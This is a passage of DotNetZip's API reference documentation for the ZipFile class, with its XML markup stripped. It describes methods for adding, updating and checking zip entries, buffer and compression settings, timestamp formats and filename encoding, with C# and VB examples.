As ZipFile = New ZipFile + zip1.AddEntry("Readme.txt", Content) + zip1.AddFile("MyDocuments\Resume.doc", "files") + zip1.Comment = ("This zip file was created at " & DateTime.Now.ToString("G")) + zip1.Save("Content.zip") + End Using + End Sub + + + + + + Adds a named entry into the zip archive, taking content for the entry + from a string, and using the specified text encoding. + + + + + + Calling this method creates an entry using the given fileName and + directory path within the archive. There is no need for a file by the + given name to exist in the filesystem; the name is used within the zip + archive only. + + + + The content for the entry, a string value, is encoded using the given + text encoding. A BOM (byte-order-mark) is emitted into the file, if the + Encoding parameter is set for that. + + + + Most Encoding classes support a constructor that accepts a boolean, + indicating whether to emit a BOM or not. For example see . + + + + + + The name, including any path, to use within the archive for the entry. + + + + The content of the file, should it be extracted from the zip. + + + + The text encoding to use when encoding the string. Be aware: This is + distinct from the text encoding used to encode the fileName, as specified + in . + + + The ZipEntry added. + + + + + Create an entry in the ZipFile using the given Stream + as input. The entry will have the given filename. + + + + + + The application should provide an open, readable stream; in this case it + will be read during the call to or one of + its overloads. + + + + The passed stream will be read from its current position. If + necessary, callers should set the position in the stream before + calling AddEntry(). This might be appropriate when using this method + with a MemoryStream, for example. + + + + In cases where a large number of streams will be added to the + ZipFile, the application may wish to avoid maintaining all of the + streams open simultaneously. To handle this situation, the application + should use the + overload. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + This example adds a single entry to a ZipFile via a Stream. + + + + String zipToCreate = "Content.zip"; + String fileNameInArchive = "Content-From-Stream.bin"; + using (System.IO.Stream streamToRead = MyStreamOpener()) + { + using (ZipFile zip = new ZipFile()) + { + ZipEntry entry= zip.AddEntry(fileNameInArchive, streamToRead); + zip.AddFile("Readme.txt"); + zip.Save(zipToCreate); // the stream is read implicitly here + } + } + + + + Dim zipToCreate As String = "Content.zip" + Dim fileNameInArchive As String = "Content-From-Stream.bin" + Using streamToRead as System.IO.Stream = MyStreamOpener() + Using zip As ZipFile = New ZipFile() + Dim entry as ZipEntry = zip.AddEntry(fileNameInArchive, streamToRead) + zip.AddFile("Readme.txt") + zip.Save(zipToCreate) '' the stream is read implicitly, here + End Using + End Using + + + + + + + The name, including any path, which is shown in the zip file for the added + entry. + + + The input stream from which to grab content for the file + + The ZipEntry added. + + + + Add a ZipEntry for which content is written directly by the application. + + + + + When the application needs to write the zip entry data, use this + method to add the ZipEntry. For example, in the case that the + application wishes to write the XML representation of a DataSet into + a ZipEntry, the application can use this method to do so. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + About progress events: When using the WriteDelegate, DotNetZip does + not issue any SaveProgress events with EventType = + Saving_EntryBytesRead. (This is because it is the + application's code that runs in WriteDelegate - there's no way for + DotNetZip to know when to issue a EntryBytesRead event.) + Applications that want to update a progress bar or similar status + indicator should do so from within the WriteDelegate + itself. DotNetZip will issue the other SaveProgress events, + including + Saving_Started, + + Saving_BeforeWriteEntry, and + Saving_AfterWriteEntry. + + + + Note: When you use PKZip encryption, it's normally necessary to + compute the CRC of the content to be encrypted, before compressing or + encrypting it. Therefore, when using PKZip encryption with a + WriteDelegate, the WriteDelegate CAN BE called twice: once to compute + the CRC, and the second time to potentially compress and + encrypt. Surprising, but true. This is because PKWARE specified that + the encryption initialization data depends on the CRC. + If this happens, for each call of the delegate, your + application must stream the same entry data in its entirety. If your + application writes different data during the second call, it will + result in a corrupt zip file. + + + + The double-read behavior happens with all types of entries, not only + those that use WriteDelegate. It happens if you add an entry from a + filesystem file, or using a string, or a stream, or an opener/closer + pair. But in those cases, DotNetZip takes care of reading twice; in + the case of the WriteDelegate, the application code gets invoked + twice. Be aware. + + + + As you can imagine, this can cause performance problems for large + streams, and it can lead to correctness problems when you use a + WriteDelegate. This is a pretty big pitfall. There are two + ways to avoid it. First, and most preferred: don't use PKZIP + encryption. If you use the WinZip AES encryption, this problem + doesn't occur, because the encryption protocol doesn't require the CRC + up front. Second: if you do choose to use PKZIP encryption, write out + to a non-seekable stream (like standard output, or the + Response.OutputStream in an ASP.NET application). In this case, + DotNetZip will use an alternative encryption protocol that does not + rely on the CRC of the content. This also implies setting bit 3 in + the zip entry, which still presents problems for some zip tools. + + + + In the future I may modify DotNetZip to *always* use bit 3 when PKZIP + encryption is in use. This seems like a win overall, but there will + be some work involved. If you feel strongly about it, visit the + DotNetZip forums and vote up the Workitem + tracking this issue. + + + + + the name of the entry to add + the delegate which will write the entry content + the ZipEntry added + + + + This example shows an application filling a DataSet, then saving the + contents of that DataSet as XML, into a ZipEntry in a ZipFile, using an + anonymous delegate in C#. The DataSet XML is never saved to a disk file. + + + var c1= new System.Data.SqlClient.SqlConnection(connstring1); + var da = new System.Data.SqlClient.SqlDataAdapter() + { + SelectCommand= new System.Data.SqlClient.SqlCommand(strSelect, c1) + }; + + DataSet ds1 = new DataSet(); + da.Fill(ds1, "Invoices"); + + using(Ionic.Zip.ZipFile zip = new Ionic.Zip.ZipFile()) + { + zip.AddEntry(zipEntryName, (name,stream) => ds1.WriteXml(stream) ); + zip.Save(zipFileName); + } + + + + + + This example uses an anonymous method in C# as the WriteDelegate to provide + the data for the ZipEntry. The example is a bit contrived - the + AddFile() method is a simpler way to insert the contents of a file + into an entry in a zip file. On the other hand, if there is some sort of + processing or transformation of the file contents required before writing, + the application could use the WriteDelegate to do it, in this way. + + + using (var input = File.Open(filename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite )) + { + using(Ionic.Zip.ZipFile zip = new Ionic.Zip.ZipFile()) + { + zip.AddEntry(zipEntryName, (name,output) => + { + byte[] buffer = new byte[BufferSize]; + int n; + while ((n = input.Read(buffer, 0, buffer.Length)) != 0) + { + // could transform the data here... + output.Write(buffer, 0, n); + // could update a progress bar here + } + }); + + zip.Save(zipFileName); + } + } + + + + + + This example uses a named delegate in VB to write data for the given + ZipEntry (VB9 does not have anonymous delegates). The example here is a bit + contrived - a simpler way to add the contents of a file to a ZipEntry is to + simply use the appropriate AddFile() method. The key scenario for + which the WriteDelegate makes sense is saving a DataSet, in XML + format, to the zip file. The DataSet can write XML to a stream, and the + WriteDelegate is the perfect place to write into the zip file. There may be + other data structures that can write to a stream, but cannot be read as a + stream. The WriteDelegate would be appropriate for those cases as + well. + + + Private Sub WriteEntry (ByVal name As String, ByVal output As Stream) + Using input As FileStream = File.Open(filename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite) + Dim n As Integer = -1 + Dim buffer As Byte() = New Byte(BufferSize){} + Do While n <> 0 + n = input.Read(buffer, 0, buffer.Length) + output.Write(buffer, 0, n) + Loop + End Using + End Sub + + Public Sub Run() + Using zip = New ZipFile + zip.AddEntry(zipEntryName, New WriteDelegate(AddressOf WriteEntry)) + zip.Save(zipFileName) + End Using + End Sub + + + + + + Add an entry, for which the application will provide a stream + containing the entry data, on a just-in-time basis. + + + + + In cases where the application wishes to open the stream that + holds the content for the ZipEntry, on a just-in-time basis, the + application can use this method. The application provides an + opener delegate that will be called by the DotNetZip library to + obtain a readable stream that can be read to get the bytes for + the given entry. Typically, this delegate opens a stream. + Optionally, the application can provide a closer delegate as + well, which will be called by DotNetZip when all bytes have been + read from the entry. + + + + These delegates are called from within the scope of the call to + ZipFile.Save(). + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + This example uses anonymous methods in C# to open and close the + source stream for the content for a zip entry. + + + using(Ionic.Zip.ZipFile zip = new Ionic.Zip.ZipFile()) + { + zip.AddEntry(zipEntryName, + (name) => File.Open(filename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite ), + (name, stream) => stream.Close() + ); + + zip.Save(zipFileName); + } + + + + + + + This example uses delegates in VB.NET to open and close the + the source stream for the content for a zip entry. VB 9.0 lacks + support for "Sub" lambda expressions, and so the CloseDelegate must + be an actual, named Sub. + + + + Function MyStreamOpener(ByVal entryName As String) As Stream + '' This simply opens a file. You probably want to do somethinig + '' more involved here: open a stream to read from a database, + '' open a stream on an HTTP connection, and so on. + Return File.OpenRead(entryName) + End Function + + Sub MyStreamCloser(entryName As String, stream As Stream) + stream.Close() + End Sub + + Public Sub Run() + Dim dirToZip As String = "fodder" + Dim zipFileToCreate As String = "Archive.zip" + Dim opener As OpenDelegate = AddressOf MyStreamOpener + Dim closer As CloseDelegate = AddressOf MyStreamCloser + Dim numFilestoAdd As Int32 = 4 + Using zip As ZipFile = New ZipFile + Dim i As Integer + For i = 0 To numFilesToAdd - 1 + zip.AddEntry(String.Format("content-{0:000}.txt"), opener, closer) + Next i + zip.Save(zipFileToCreate) + End Using + End Sub + + + + + the name of the entry to add + + the delegate that will be invoked by ZipFile.Save() to get the + readable stream for the given entry. ZipFile.Save() will call + read on this stream to obtain the data for the entry. This data + will then be compressed and written to the newly created zip + file. + + + the delegate that will be invoked to close the stream. This may + be null (Nothing in VB), in which case no call is makde to close + the stream. + + the ZipEntry added + + + + + Updates the given entry in the ZipFile, using the given + string as content for the ZipEntry. + + + + + + Calling this method is equivalent to removing the ZipEntry for + the given file name and directory path, if it exists, and then calling + . See the documentation for + that method for further explanation. The string content is encoded + using the default encoding for the machine. This encoding is distinct + from the encoding used for the filename itself. See + . + + + + + + The name, including any path, to use within the archive for the entry. + + + + The content of the file, should it be extracted from the zip. + + + The ZipEntry added. + + + + + Updates the given entry in the ZipFile, using the given string as + content for the ZipEntry. + + + + Calling this method is equivalent to removing the ZipEntry for the + given file name and directory path, if it exists, and then calling . See the + documentation for that method for further explanation. + + + + The name, including any path, to use within the archive for the entry. + + + + The content of the file, should it be extracted from the zip. + + + + The text encoding to use when encoding the string. Be aware: This is + distinct from the text encoding used to encode the filename. See . + + + The ZipEntry added. + + + + + Updates the given entry in the ZipFile, using the given delegate + as the source for content for the ZipEntry. + + + + Calling this method is equivalent to removing the ZipEntry for the + given file name and directory path, if it exists, and then calling . See the + documentation for that method for further explanation. + + + + The name, including any path, to use within the archive for the entry. + + + the delegate which will write the entry content. + + The ZipEntry added. + + + + + Updates the given entry in the ZipFile, using the given delegates + to open and close the stream that provides the content for the ZipEntry. + + + + Calling this method is equivalent to removing the ZipEntry for the + given file name and directory path, if it exists, and then calling . See the + documentation for that method for further explanation. + + + + The name, including any path, to use within the archive for the entry. + + + + the delegate that will be invoked to open the stream + + + the delegate that will be invoked to close the stream + + + The ZipEntry added or updated. + + + + + Updates the given entry in the ZipFile, using the given stream as + input, and the given filename and given directory Path. + + + + + Calling the method is equivalent to calling RemoveEntry() if an + entry by the same name already exists, and then calling AddEntry() + with the given fileName and stream. + + + + The stream must be open and readable during the call to + ZipFile.Save. You can dispense the stream on a just-in-time basis + using the property. Check the + documentation of that property for more information. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to the + ZipEntry added. + + + + + + + + + The name, including any path, to use within the archive for the entry. + + + The input stream from which to read file data. + The ZipEntry added. + + + + Add an entry into the zip archive using the given filename and + directory path within the archive, and the given content for the + file. No file is created in the filesystem. + + + The data to use for the entry. + + + The name, including any path, to use within the archive for the entry. + + + The ZipEntry added. + + + + Updates the given entry in the ZipFile, using the given byte + array as content for the entry. + + + + Calling this method is equivalent to removing the ZipEntry + for the given filename and directory path, if it exists, and then + calling . See the + documentation for that method for further explanation. + + + + The name, including any path, to use within the archive for the entry. + + + The content to use for the ZipEntry. + + The ZipEntry added. + + + + + Adds the contents of a filesystem directory to a Zip file archive. + + + + + + The name of the directory may be a relative path or a fully-qualified + path. Any files within the named directory are added to the archive. Any + subdirectories within the named directory are also added to the archive, + recursively. + + + + Top-level entries in the named directory will appear as top-level entries + in the zip archive. Entries in subdirectories in the named directory will + result in entries in subdirectories in the zip archive. + + + + If you want the entries to appear in a containing directory in the zip + archive itself, then you should call the AddDirectory() overload that + allows you to explicitly specify a directory path for use in the archive. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + + + + + + This method has 2 overloads. + + The name of the directory to add. + The ZipEntry added. + + + + Adds the contents of a filesystem directory to a Zip file archive, + overriding the path to be used for entries in the archive. + + + + + The name of the directory may be a relative path or a fully-qualified + path. The add operation is recursive, so that any files or subdirectories + within the name directory are also added to the archive. + + + + Top-level entries in the named directory will appear as top-level entries + in the zip archive. Entries in subdirectories in the named directory will + result in entries in subdirectories in the zip archive. + + + + For ZipFile properties including , , , , , + , and , their + respective values at the time of this call will be applied to each + ZipEntry added. + + + + + + + In this code, calling the ZipUp() method with a value of "c:\reports" for + the directory parameter will result in a zip file structure in which all + entries are contained in a toplevel "reports" directory. + + + + public void ZipUp(string targetZip, string directory) + { + using (var zip = new ZipFile()) + { + zip.AddDirectory(directory, System.IO.Path.GetFileName(directory)); + zip.Save(targetZip); + } + } + + + + + + + + The name of the directory to add. + + + Specifies a directory path to use to override any path in the + DirectoryName. This path may, or may not, correspond to a real directory + in the current filesystem. If the zip is later extracted, this is the + path used for the extracted file or directory. Passing null + (Nothing in VB) or the empty string ("") will insert the items at + the root path within the archive. + + + The ZipEntry added. + + + + Creates a directory in the zip archive. + + + + + + Use this when you want to create a directory in the archive but there is + no corresponding filesystem representation for that directory. + + + + You will probably not need to do this in your code. One of the only times + you will want to do this is if you want an empty directory in the zip + archive. The reason: if you add a file to a zip archive that is stored + within a multi-level directory, all of the directory tree is implicitly + created in the zip archive. + + + + + + The name of the directory to create in the archive. + + The ZipEntry added. + + + + Checks a zip file to see if its directory is consistent. + + + + + + In cases of data error, the directory within a zip file can get out + of synch with the entries in the zip file. This method checks the + given zip file and returns true if this has occurred. + + + This method may take a long time to run for large zip files. + + + This method is not supported in the Reduced version of DotNetZip. + + + + Developers using COM can use the ComHelper.CheckZip(String) + method. + + + + + The filename to of the zip file to check. + + true if the named zip file checks OK. Otherwise, false. + + + + + + + Checks a zip file to see if its directory is consistent, + and optionally fixes the directory if necessary. + + + + + + In cases of data error, the directory within a zip file can get out of + synch with the entries in the zip file. This method checks the given + zip file, and returns true if this has occurred. It also optionally + fixes the zipfile, saving the fixed copy in Name_Fixed.zip. + + + + This method may take a long time to run for large zip files. It + will take even longer if the file actually needs to be fixed, and if + fixIfNecessary is true. + + + + This method is not supported in the Reduced version of DotNetZip. + + + + + The filename to of the zip file to check. + + If true, the method will fix the zip file if + necessary. + + + a TextWriter in which messages generated while checking will be written. + + + true if the named zip is OK; false if the file needs to be fixed. + + + + + + + Rewrite the directory within a zipfile. + + + + + + In cases of data error, the directory in a zip file can get out of + synch with the entries in the zip file. This method attempts to fix + the zip file if this has occurred. + + + This can take a long time for large zip files. + + This won't work if the zip file uses a non-standard + code page - neither IBM437 nor UTF-8. + + + This method is not supported in the Reduced or Compact Framework + versions of DotNetZip. + + + + Developers using COM can use the ComHelper.FixZipDirectory(String) + method. + + + + + The filename to of the zip file to fix. + + + + + + + Verify the password on a zip file. + + + + + Keep in mind that passwords in zipfiles are applied to + zip entries, not to the entire zip file. So testing a + zipfile for a particular password doesn't work in the + general case. On the other hand, it's often the case + that a single password will be used on all entries in a + zip file. This method works for that case. + + + There is no way to check a password without doing the + decryption. So this code decrypts and extracts the given + zipfile into + + + + The filename to of the zip file to fix. + + The password to check. + + a bool indicating whether the password matches. + + + + Provides a human-readable string with information about the ZipFile. + + + + + The information string contains 10 lines or so, about each ZipEntry, + describing whether encryption is in use, the compressed and uncompressed + length of the entry, the offset of the entry, and so on. As a result the + information string can be very long for zip files that contain many + entries. + + + This information is mostly useful for diagnostic purposes. + + + + + + Indicates whether to perform a full scan of the zip file when reading it. + + + + + + You almost never want to use this property. + + + + When reading a zip file, if this flag is true (True in + VB), the entire zip archive will be scanned and searched for entries. + For large archives, this can take a very, long time. The much more + efficient default behavior is to read the zip directory, which is + stored at the end of the zip file. But, in some cases the directory is + corrupted and you need to perform a full scan of the zip file to + determine the contents of the zip file. This property lets you do + that, when necessary. + + + + This flag is effective only when calling . Normally you would read a ZipFile with the + static ZipFile.Read + method. But you can't set the FullScan property on the + ZipFile instance when you use a static factory method like + ZipFile.Read. + + + + + + + This example shows how to read a zip file using the full scan approach, + and then save it, thereby producing a corrected zip file. + + + using (var zip = new ZipFile()) + { + zip.FullScan = true; + zip.Initialize(zipFileName); + zip.Save(newName); + } + + + + Using zip As New ZipFile + zip.FullScan = True + zip.Initialize(zipFileName) + zip.Save(newName) + End Using + + + + + + + Whether to sort the ZipEntries before saving the file. + + + + The default is false. If you have a large number of zip entries, the sort + alone can consume significant time. + + + + + using (var zip = new ZipFile()) + { + zip.AddFiles(filesToAdd); + zip.SortEntriesBeforeSaving = true; + zip.Save(name); + } + + + + Using zip As New ZipFile + zip.AddFiles(filesToAdd) + zip.SortEntriesBeforeSaving = True + zip.Save(name) + End Using + + + + + + + Indicates whether NTFS Reparse Points, like junctions, should be + traversed during calls to AddDirectory(). + + + + By default, calls to AddDirectory() will traverse NTFS reparse + points, like mounted volumes, and directory junctions. An example + of a junction is the "My Music" directory in Windows Vista. In some + cases you may not want DotNetZip to traverse those directories. In + that case, set this property to false. + + + + + using (var zip = new ZipFile()) + { + zip.AddDirectoryWillTraverseReparsePoints = false; + zip.AddDirectory(dirToZip,"fodder"); + zip.Save(zipFileToCreate); + } + + + + + + Size of the IO buffer used while saving. + + + + + + First, let me say that you really don't need to bother with this. It is + here to allow for optimizations that you probably won't make! It will work + fine if you don't set or get this property at all. Ok? + + + + Now that we have that out of the way, the fine print: This + property affects the size of the buffer that is used for I/O for each + entry contained in the zip file. When a file is read in to be compressed, + it uses a buffer given by the size here. When you update a zip file, the + data for unmodified entries is copied from the first zip file to the + other, through a buffer given by the size here. + + + + Changing the buffer size affects a few things: first, for larger buffer + sizes, the memory used by the ZipFile, obviously, will be larger + during I/O operations. This may make operations faster for very much + larger files. Last, for any given entry, when you use a larger buffer + there will be fewer progress events during I/O operations, because there's + one progress event generated for each time the buffer is filled and then + emptied. + + + + The default buffer size is 8k. Increasing the buffer size may speed + things up as you compress larger files. But there are no hard-and-fast + rules here, eh? You won't know til you test it. And there will be a + limit where ever larger buffers actually slow things down. So as I said + in the beginning, it's probably best if you don't set or get this property + at all. + + + + + + This example shows how you might set a large buffer size for efficiency when + dealing with zip entries that are larger than 1gb. + + using (ZipFile zip = new ZipFile()) + { + zip.SaveProgress += this.zip1_SaveProgress; + zip.AddDirectory(directoryToZip, ""); + zip.UseZip64WhenSaving = Zip64Option.Always; + zip.BufferSize = 65536*8; // 65536 * 8 = 512k + zip.Save(ZipFileToCreate); + } + + + + + + Size of the work buffer to use for the ZLIB codec during compression. + + + + + When doing ZLIB or Deflate compression, the library fills a buffer, + then passes it to the compressor for compression. Then the library + reads out the compressed bytes. This happens repeatedly until there + is no more uncompressed data to compress. This property sets the + size of the buffer that will be used for chunk-wise compression. In + order for the setting to take effect, your application needs to set + this property before calling one of the ZipFile.Save() + overloads. + + + Setting this affects the performance and memory efficiency of + compression and decompression. For larger files, setting this to a + larger size may improve compression performance, but the exact + numbers vary depending on available memory, the size of the streams + you are compressing, and a bunch of other variables. I don't have + good firm recommendations on how to set it. You'll have to test it + yourself. Or just leave it alone and accept the default. + + + + + + Indicates whether extracted files should keep their paths as + stored in the zip archive. + + + + + This property affects Extraction. It is not used when creating zip + archives. + + + + With this property set to false, the default, extracting entries + from a zip file will create files in the filesystem that have the full + path associated to the entry within the zip file. With this property set + to true, extracting entries from the zip file results in files + with no path: the folders are "flattened." + + + + An example: suppose the zip file contains entries /directory1/file1.txt and + /directory2/file2.txt. With FlattenFoldersOnExtract set to false, + the files created will be \directory1\file1.txt and \directory2\file2.txt. + With the property set to true, the files created are file1.txt and file2.txt. + + + + + + + The compression strategy to use for all entries. + + + + Set the Strategy used by the ZLIB-compatible compressor, when + compressing entries using the DEFLATE method. Different compression + strategies work better on different sorts of data. The strategy + parameter can affect the compression ratio and the speed of + compression but not the correctness of the compresssion. For more + information see Ionic.Zlib.CompressionStrategy. + + + + + The name of the ZipFile, on disk. + + + + + + When the ZipFile instance was created by reading an archive using + one of the ZipFile.Read methods, this property represents the name + of the zip file that was read. When the ZipFile instance was + created by using the no-argument constructor, this value is null + (Nothing in VB). + + + + If you use the no-argument constructor, and you then explicitly set this + property, when you call , this name will + specify the name of the zip file created. Doing so is equivalent to + calling . When instantiating a + ZipFile by reading from a stream or byte array, the Name + property remains null. When saving to a stream, the Name + property is implicitly set to null. + + + + + + Sets the compression level to be used for entries subsequently added to + the zip archive. + + + + + Varying the compression level used on entries can affect the + size-vs-speed tradeoff when compression and decompressing data streams + or files. + + + + As with some other properties on the ZipFile class, like , , and , setting this property on a ZipFile + instance will cause the specified CompressionLevel to be used on all + items that are subsequently added to the + ZipFile instance. If you set this property after you have added + items to the ZipFile, but before you have called Save(), + those items will not use the specified compression level. + + + + If you do not set this property, the default compression level is used, + which normally gives a good balance of compression efficiency and + compression speed. In some tests, using BestCompression can + double the time it takes to compress, while delivering just a small + increase in compression efficiency. This behavior will vary with the + type of data you compress. If you are in doubt, just leave this setting + alone, and accept the default. + + + + + + The compression method for the zipfile. + + + + By default, the compression method is CompressionMethod.Deflate. + + + + + + + A comment attached to the zip archive. + + + + + + This property is read/write. It allows the application to specify a + comment for the ZipFile, or read the comment for the + ZipFile. After setting this property, changes are only made + permanent when you call a Save() method. + + + + According to PKWARE's + zip specification, the comment is not encrypted, even if there is a + password set on the zip file. + + + + The specification does not describe how to indicate the encoding used + on a comment string. Many "compliant" zip tools and libraries use + IBM437 as the code page for comments; DotNetZip, too, follows that + practice. On the other hand, there are situations where you want a + Comment to be encoded with something else, for example using code page + 950 "Big-5 Chinese". To fill that need, DotNetZip will encode the + comment following the same procedure it follows for encoding + filenames: (a) if is + Never, it uses the default encoding (IBM437). (b) if is Always, it always uses the + alternate encoding (). (c) if is AsNecessary, it uses the + alternate encoding only if the default encoding is not sufficient for + encoding the comment - in other words if decoding the result does not + produce the original string. This decision is taken at the time of + the call to ZipFile.Save(). + + + + When creating a zip archive using this library, it is possible to change + the value of between each + entry you add, and between adding entries and the call to + Save(). Don't do this. It will likely result in a zip file that is + not readable by any tool or application. For best interoperability, leave + alone, or specify it only + once, before adding any entries to the ZipFile instance. + + + + + + + Specifies whether the Creation, Access, and Modified times for entries + added to the zip file will be emitted in “Windows format” + when the zip archive is saved. + + + + + An application creating a zip archive can use this flag to explicitly + specify that the file times for the entries should or should not be stored + in the zip archive in the format used by Windows. By default this flag is + true, meaning the Windows-format times are stored in the zip + archive. + + + + When adding an entry from a file or directory, the Creation (), Access (), and Modified () times for the given entry are + automatically set from the filesystem values. When adding an entry from a + stream or string, all three values are implicitly set to + DateTime.Now. Applications can also explicitly set those times by + calling . + + + + PKWARE's + zip specification describes multiple ways to format these times in a + zip file. One is the format Windows applications normally use: 100ns ticks + since January 1, 1601 UTC. The other is a format Unix applications typically + use: seconds since January 1, 1970 UTC. Each format can be stored in an + "extra field" in the zip entry when saving the zip archive. The former + uses an extra field with a Header Id of 0x000A, while the latter uses a + header ID of 0x5455, although you probably don't need to know that. + + + + Not all tools and libraries can interpret these fields. Windows + compressed folders is one that can read the Windows Format timestamps, + while I believe the Infozip + tools can read the Unix format timestamps. Some tools and libraries + may be able to read only one or the other. DotNetZip can read or write + times in either or both formats. + + + + The times stored are taken from , , and . + + + + The value set here applies to all entries subsequently added to the + ZipFile. + + + + This property is not mutually exclusive of the property. It is possible and + legal and valid to produce a zip file that contains timestamps encoded in + the Unix format as well as in the Windows format, in addition to the LastModified time attached to each + entry in the archive, a time that is always stored in "DOS format". And, + notwithstanding the names PKWare uses for these time formats, any of them + can be read and written by any computer, on any operating system. But, + there are no guarantees that a program running on Mac or Linux will + gracefully handle a zip file with "Windows" formatted times, or that an + application that does not use DotNetZip but runs on Windows will be able to + handle file times in Unix format. + + + + When in doubt, test. Sorry, I haven't got a complete list of tools and + which sort of timestamps they can use and will tolerate. If you get any + good information and would like to pass it on, please do so and I will + include that information in this documentation. + + + + + This example shows how to save a zip file that contains file timestamps + in a format normally used by Unix. + + using (var zip = new ZipFile()) + { + // produce a zip file the Mac will like + zip.EmitTimesInWindowsFormatWhenSaving = false; + zip.EmitTimesInUnixFormatWhenSaving = true; + zip.AddDirectory(directoryToZip, "files"); + zip.Save(outputFile); + } + + + + Using zip As New ZipFile + '' produce a zip file the Mac will like + zip.EmitTimesInWindowsFormatWhenSaving = False + zip.EmitTimesInUnixFormatWhenSaving = True + zip.AddDirectory(directoryToZip, "files") + zip.Save(outputFile) + End Using + + + + + + + + + Specifies whether the Creation, Access, and Modified times + for entries added to the zip file will be emitted in "Unix(tm) + format" when the zip archive is saved. + + + + + An application creating a zip archive can use this flag to explicitly + specify that the file times for the entries should or should not be stored + in the zip archive in the format used by Unix. By default this flag is + false, meaning the Unix-format times are not stored in the zip + archive. + + + + When adding an entry from a file or directory, the Creation (), Access (), and Modified () times for the given entry are + automatically set from the filesystem values. When adding an entry from a + stream or string, all three values are implicitly set to DateTime.Now. + Applications can also explicitly set those times by calling . + + + + PKWARE's + zip specification describes multiple ways to format these times in a + zip file. One is the format Windows applications normally use: 100ns ticks + since January 1, 1601 UTC. The other is a format Unix applications + typically use: seconds since January 1, 1970 UTC. Each format can be + stored in an "extra field" in the zip entry when saving the zip + archive. The former uses an extra field with a Header Id of 0x000A, while + the latter uses a header ID of 0x5455, although you probably don't need to + know that. + + + + Not all tools and libraries can interpret these fields. Windows + compressed folders is one that can read the Windows Format timestamps, + while I believe the Infozip + tools can read the Unix format timestamps. Some tools and libraries may be + able to read only one or the other. DotNetZip can read or write times in + either or both formats. + + + + The times stored are taken from , , and . + + + + This property is not mutually exclusive of the property. It is possible and + legal and valid to produce a zip file that contains timestamps encoded in + the Unix format as well as in the Windows format, in addition to the LastModified time attached to each + entry in the zip archive, a time that is always stored in "DOS + format". And, notwithstanding the names PKWare uses for these time + formats, any of them can be read and written by any computer, on any + operating system. But, there are no guarantees that a program running on + Mac or Linux will gracefully handle a zip file with "Windows" formatted + times, or that an application that does not use DotNetZip but runs on + Windows will be able to handle file times in Unix format. + + + + When in doubt, test. Sorry, I haven't got a complete list of tools and + which sort of timestamps they can use and will tolerate. If you get any + good information and would like to pass it on, please do so and I will + include that information in this documentation. + + + + + + + + + Indicates whether verbose output is sent to the during AddXxx() and + ReadXxx() operations. + + + + This is a synthetic property. It returns true if the is non-null. + + + + + Returns true if an entry by the given name exists in the ZipFile. + + + the name of the entry to find + true if an entry with the given name exists; otherwise false. + + + + + Indicates whether to perform case-sensitive matching on the filename when + retrieving entries in the zipfile via the string-based indexer. + + + + The default value is false, which means don't do case-sensitive + matching. In other words, retrieving zip["ReadMe.Txt"] is the same as + zip["readme.txt"]. It really makes sense to set this to true only + if you are not running on Windows, which has case-insensitive + filenames. But since this library is not built for non-Windows platforms, + in most cases you should just leave this property alone. + + + + + Indicates whether to ignore duplicate files (report only the first entry) + when loading a zipfile. + + + + The default value is false, which will try to make all files + available (duplicates will have a "copy" suffix appended to their name). + Setting this to true prior to using Initialize to read a + zipfile will prevent this and instead just ignore the duplicates. + + + + + Indicates whether to encode entry filenames and entry comments using Unicode + (UTF-8). + + + + + The + PKWare zip specification provides for encoding file names and file + comments in either the IBM437 code page, or in UTF-8. This flag selects + the encoding according to that specification. By default, this flag is + false, and filenames and comments are encoded into the zip file in the + IBM437 codepage. Setting this flag to true will specify that filenames + and comments that cannot be encoded with IBM437 will be encoded with + UTF-8. + + + + Zip files created with strict adherence to the PKWare specification with + respect to UTF-8 encoding can contain entries with filenames containing + any combination of Unicode characters, including the full range of + characters from Chinese, Latin, Hebrew, Greek, Cyrillic, and many other + alphabets. However, because at this time, the UTF-8 portion of the PKWare + specification is not broadly supported by other zip libraries and + utilities, such zip files may not be readable by your favorite zip tool or + archiver. In other words, interoperability will decrease if you set this + flag to true. + + + + In particular, Zip files created with strict adherence to the PKWare + specification with respect to UTF-8 encoding will not work well with + Explorer in Windows XP or Windows Vista, because Windows compressed + folders, as far as I know, do not support UTF-8 in zip files. Vista can + read the zip files, but shows the filenames incorrectly. Unpacking from + Windows Vista Explorer will result in filenames that have rubbish + characters in place of the high-order UTF-8 bytes. + + + + Also, zip files that use UTF-8 encoding will not work well with Java + applications that use the java.util.zip classes, as of v5.0 of the Java + runtime. The Java runtime does not correctly implement the PKWare + specification in this regard. + + + + As a result, we have the unfortunate situation that "correct" behavior by + the DotNetZip library with regard to Unicode encoding of filenames during + zip creation will result in zip files that are readable by strictly + compliant and current tools (for example the most recent release of the + commercial WinZip tool); but these zip files will not be readable by + various other tools or libraries, including Windows Explorer. + + + + The DotNetZip library can read and write zip files with UTF8-encoded + entries, according to the PKware spec. If you use DotNetZip for both + creating and reading the zip file, and you use UTF-8, there will be no + loss of information in the filenames. For example, using a self-extractor + created by this library will allow you to unpack files correctly with no + loss of information in the filenames. + + + + If you do not set this flag, it will remain false. If this flag is false, + your ZipFile will encode all filenames and comments using the + IBM437 codepage. This can cause "loss of information" on some filenames, + but the resulting zipfile will be more interoperable with other + utilities. As an example of the loss of information, diacritics can be + lost. The o-tilde character will be down-coded to plain o. The c with a + cedilla (Unicode 0xE7) used in Portugese will be downcoded to a c. + Likewise, the O-stroke character (Unicode 248), used in Danish and + Norwegian, will be down-coded to plain o. Chinese characters cannot be + represented in codepage IBM437; when using the default encoding, Chinese + characters in filenames will be represented as ?. These are all examples + of "information loss". + + + + The loss of information associated to the use of the IBM437 encoding is + inconvenient, and can also lead to runtime errors. For example, using + IBM437, any sequence of 4 Chinese characters will be encoded as ????. If + your application creates a ZipFile, then adds two files, each with + names of four Chinese characters each, this will result in a duplicate + filename exception. In the case where you add a single file with a name + containing four Chinese characters, calling Extract() on the entry that + has question marks in the filename will result in an exception, because + the question mark is not legal for use within filenames on Windows. These + are just a few examples of the problems associated to loss of information. + + + + This flag is independent of the encoding of the 